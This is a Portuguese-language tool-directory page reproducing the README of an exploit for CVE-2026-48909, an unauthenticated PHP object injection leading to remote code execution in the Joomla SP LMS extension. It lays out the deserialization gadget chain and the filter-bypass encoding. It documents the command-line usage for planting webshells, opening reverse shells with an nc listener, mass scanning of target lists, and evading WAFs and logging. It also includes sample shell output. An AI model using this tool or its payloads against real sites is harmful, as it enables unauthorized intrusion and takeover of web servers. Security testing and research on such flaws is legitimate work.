Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-48909-Joomla-SP-Exploit — CVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only. | Kitploit
Ferramentas/GitHubGitHub
/
cerberusmrxi
/cve-2026-48909-joomla-sp-exploit
Vulnerability AnalysisCode AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHubcerberusmrxi/cve-2026-48909-joomla-sp-exploit

CVE-2026-48909-Joomla-SP-Exploit

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

CVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only.

Compartilhar

CVE-2026-48909

Joomla SP LMS — Injeção de Objeto PHP Não Autenticada → RCE

Python Version CVSS License Platform

Ferramenta de prova de conceito para CVE-2026-48909
Autor: Sudeepa Wanigarathna

joomla1

[!IMPORTANT] Uso autorizado apenas. Esta ferramenta destina-se a pesquisa em segurança, educação e teste de sistemas que você possui ou para os quais possui permissão explícita por escrito. O acesso não autorizado a sistemas informáticos é ilegal. O autor não assume qualquer responsabilidade por uso indevido.


Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Funcionalidades
  • Instalação
  • Início Rápido
  • Guia de Uso
  • Referência de Comandos
  • Tipos de Payload
  • Cadeia de Ataque
  • Exemplos de Saída
  • Resolução de Problemas
  • Estrutura do Repositório
  • Histórico de Versões
  • Aviso Legal
  • Autor

Visão Geral

CVE-2026-48909 é uma Injeção de Objeto PHP não autenticada crítica na extensão SP LMS do Joomla. Esta ferramenta implementa a cadeia de ataque completa para que profissionais de segurança possam validar o impacto em ambientes de laboratório ou autorizados.

Ela cobre detecção, descoberta de caminhos, entrega de payload, pós-exploração interativa (quando permitido), avaliação em massa e limpeza opcional.


Detalhes da Vulnerabilidade

AtributoValor
ID CVECVE-2026-48909
CVSS9.5 (Crítico)
Vetor de AtaqueRede — não autenticado
ImpactoExecução Remota de Código
Produto AfetadoJoomla SP LMS
Versões Afetadas1.0.0 – 4.1.3
Versão CorrigidaSP LMS 4.1.4+
Cadeia de GadgetsRequer Joomla < 5.2.2

Matriz de Compatibilidade

ComponenteVersãoRCE
SP LMS< 4.1.4Vulnerável
SP LMS≥ 4.1.4Corrigido
Joomla< 5.2.2Cadeia de gadgets utilizável
Joomla≥ 5.2.2Cadeia de gadgets corrigida

Funcionalidades

Núcleo

CapacidadeDescrição
Exploit não autenticadoNenhuma credencial necessária
Múltiplos payloads7 variantes de webshell / execução
Shell interativoSessão com histórico de comandos após implantação
Descoberta de caminhoSondagem automática de caminhos graváveis
LimpezaRemove webshell implantado após os testes

Avaliação & Operações

CapacidadeDescrição
Varredura em massaListas de alvos com múltiplas threads (1000+)
Suporte a proxyHTTP/SOCKS (Burp, ZAP, etc.)
Reverse shellPayloads baseados em listener
Modo furtivoCanais de comando via cabeçalho / POST
RandomizaçãoNomes de shell com UUID, rotação de User-Agent
RelatóriosExportar como JSON, HTML ou CSV
Auxílios de detecçãoVerificações de versão do Joomla, --check-only, --safe-mode

Notas de Evasão

  • Evita caracteres bloqueados pelo filtro cmd do Joomla quando possível
  • Caminho de escrita PHP codificado em hex para reduzir problemas com padding base64 / barras
  • Atrasos configuráveis e rotação de User-Agents
  • Lógica de retry em múltiplos candidatos de injeção / caminho

Instalação

Pré-requisitos

  • Python 3.6+
  • pip
  • Acessibilidade de rede ao(s) alvo(s) em teste

Configuração

root@kitploit:~
cd exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 "CVE-2026-48909 v3.0.py" --help

Dependências

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0

argparse acompanha a biblioteca padrão do Python; não precisa ser instalado via pip.


Início Rápido

Substitua https://target.example por um alvo de laboratório ou autorizado apenas.

Alvo único — descobrir caminho + shell interativo

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

Verificações seguras (sem exploração)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

Varredura em massa

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html

Reverse shell (laboratório autorizado)

root@kitploit:~
# Listener
nc -lvnp 4444

# Host do exploit
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path \
  --shell-type reverse \
  --reverse-host 192.168.1.100 \
  --reverse-port 4444

Guia de Uso

Descoberta de caminho

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path

Caminho gravável conhecido

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php

Sessão interativa

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

Comando único

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

Payload furtivo + interativo

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive

Proxy (Burp / ZAP)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path --interactive \
  --proxy http://127.0.0.1:8080 \
  --insecure

Limpeza

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php

Formato da lista de alvos

root@kitploit:~
https://lab-a.example
https://lab-b.example
https://lab-c.example
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json

Referência de Comandos

Alvo

ArgumentoDescrição
targetURL do alvo único
--targets, -T FILEArquivo com alvos (uma URL por linha)
--path PATHCaminho absoluto no servidor para o webshell
--shell-type TYPEminimal, standard, stealth, base64, full, reverse, blindshell
--shell-name NAMENome do arquivo do webshell (padrão: x.php)

Rede

ArgumentoDescrição
--timeout SECONDSTimeout da requisição (padrão: 15)
--insecureIgnorar verificação de certificado TLS
--proxy URLEx.: http://127.0.0.1:8080
--random-uaRotacionar User-Agent (ativado por padrão)
--delay SECONDSAtraso entre requisições

Reverse shell

ArgumentoDescrição
--reverse-host HOSTHost do listener
--reverse-port PORTPorta do listener

Modos

ArgumentoDescrição
--interactive, -iShell interativo após implantação
--check-onlyApenas verificação de vulnerabilidade
--safe-modeTeste não destrutivo
--find-pathDescobrir automaticamente caminho gravável
--cmd COMMANDExecutar um comando e sair
--cleanup PATHRemover webshell no caminho
--cleanup-afterLimpar após exploração

Varredura em massa / relatório

ArgumentoDescrição
--threads NUMThreads de trabalho (padrão: 10)
--export FILECaminho de saída para resultados
--export-format FORMATjson, html, csv (padrão: json)

Logging

ArgumentoDescrição
--log-file FILEEscrever logs em arquivo
--quiet, -qModo silencioso
--verbose, -vSaída detalhada
--no-bannerOcultar banner

Tipos de Payload

TipoComportamentoUso típico
minimalExecução compacta via GETEspaço apertado / teste rápido
standardGET + POST cmd (padrão)Avaliações gerais
stealthComando via cabeçalho X-CmdReduzir logging de URL
base64eval(base64_decode(...)) via POSTLaboratórios de evasão de filtros
fullGET/POST + canal base64Controle mais amplo
reverseShell de conexão reversaAcesso persistente em laboratório
blindshellPadrão alternativo de inclusão / execuçãoAmbientes restritos
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
  --reverse-host 10.0.0.1 --reverse-port 4444 --find-path

Cadeia de Ataque

root@kitploit:~
flowchart TD
    A["Cookie lmsOrders controlado pelo atacante"] --> B["unserialize() em cart.php"]
    B --> C["FormattedtextLogger::__destruct()"]
    C --> D["File::write() — Drop PHP"]
    D --> E["Webshell em disco"]
    E --> F["Execução remota de comandos"]

Resumo técnico

  1. Sink — components/com_splms/models/cart.php desserializa um cookie lmsOrders decodificado em base64.
  2. Gadget — Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() aciona uma escrita no sistema de arquivos.
  3. Payload — Corpo PHP codificado em hex, com preenchimento de tamanho para evitar caracteres base64 filtrados (/, =, +).
  4. Execução — O script implantado é requisitado para executar comandos do SO.

Bypass de filtro de entrada (alto nível)

O filtro cmd do Joomla pode remover /, =, e +. Esta ferramenta compensa:

  • Codificando o conteúdo de escrita como hex
  • Preenchendo formas serializadas / base64 para evitar caracteres ilegais
  • Iterando candidatos até que um payload seguro contra filtros seja produzido

Exemplos de Saída

Sessão interativa

root@kitploit:~
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> whoami
www-data

shell> pwd
/var/www/html

shell> exit

Exportação JSON (estrutura)

root@kitploit:~
{
  "timestamp": "2026-07-16T10:30:00.123456",
  "target": "https://lab.example",
  "shell_path": "/tmp/x_abc123def.php",
  "shell_url": "https://lab.example/tmp/x_abc123def.php",
  "shell_type": "standard",
  "vulnerable": true,
  "exploited": true,
  "joomla_version": "4.3.2",
  "detected_paths": [
    "/tmp/x_abc123def.php",
    "/images/x_abc123def.php",
    "/cache/x_abc123def.php"
  ],
  "author": "Sudeepa Wanigarathna",
  "tool_version": "3.0"
}

Comando único

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

Resolução de Problemas

SintomaO que tentar
Não foi possível gerar payload seguro contra filtrosDiferente --path, ou --find-path; evite caracteres incomuns no caminho
Falha na verificação do shellAumente --timeout; tente --shell-type standard; confirme que system() / similar não está desabilitado; verifique permissão de escrita
Alvo não parece vulnerávelSP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms presente; inspecione bloqueios de WAF
HTTP 500--insecure, --timeout 30, revise logs do servidor/aplicação
Conexão com proxy recusadaConfirme que o proxy está ouvindo; esquema de URL / host / porta corretos
Falha na verificação TLSAdicione --insecure para endpoints de laboratório com certificados quebrados

Fluxo de depuração

root@kitploit:~
# Detalhado + log em arquivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log

# Através do Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
  --proxy http://127.0.0.1:8080 --insecure -v

# Não destrutivo primeiro
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

Estrutura do Repositório

root@kitploit:~
exploit/
├── CVE-2026-48909 v3.0.py   # Ferramenta principal (v3.0)
├── requirements.txt         # Dependências Python
├── README.md                # Este arquivo
└── venv/                    # Virtualenv local (opcional, não commitado)

Adições opcionais para um lançamento público:

root@kitploit:~
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh

Histórico de Versões

v3.0.0 — Edição Ultimate (Julho 2026)

  • Varredura em massa com threads
  • Suporte a proxy HTTP/SOCKS
  • Payloads reverse shell
  • Auxílios de evasão focados em WAF
  • Shell furtivo interativo
  • Opções de limpeza automática
  • Relatórios em JSON / HTML / CSV
  • Lista estendida de caminhos graváveis
  • Auxílios de detecção de versão do Joomla
  • Modo seguro e rotação de User-Agent
  • Atrasos configuráveis entre requisições

v2.1 — Edição Profissional (Julho 2026)

  • Correções na geração de payload
  • Tratamento de erros e logging mais robustos

Aviso Legal

Este projeto é fornecido como está para pesquisa defensiva em segurança e testes de penetração autorizados.

Ao usar este software você concorda que:

  1. Você irá alvejar apenas sistemas que possui ou para os quais possui autorização explícita para testar.
  2. Você compreende as leis aplicáveis de abuso de computadores e proteção de dados.
  3. O autor e contribuidores não são responsáveis por danos, perda de dados ou consequências legais decorrentes do uso indevido.

Se você descobrir esta vulnerabilidade em produção, siga práticas de divulgação responsável e coordene com o fornecedor / CERT quando apropriado.


Autor

Sudeepa Wanigarathna
Pesquisador de segurança · Hacking ético · Pesquisa de vulnerabilidades · Ferramentas em Python


Suporte

  • Dê uma estrela no repositório se ajudar sua pesquisa
  • Abra issues para bugs ou falsos positivos
  • PRs são bem-vindos para documentação, precisão de detecção e UX em laboratórios autorizados

Para testes de segurança autorizados apenas.

Baixar ferramenta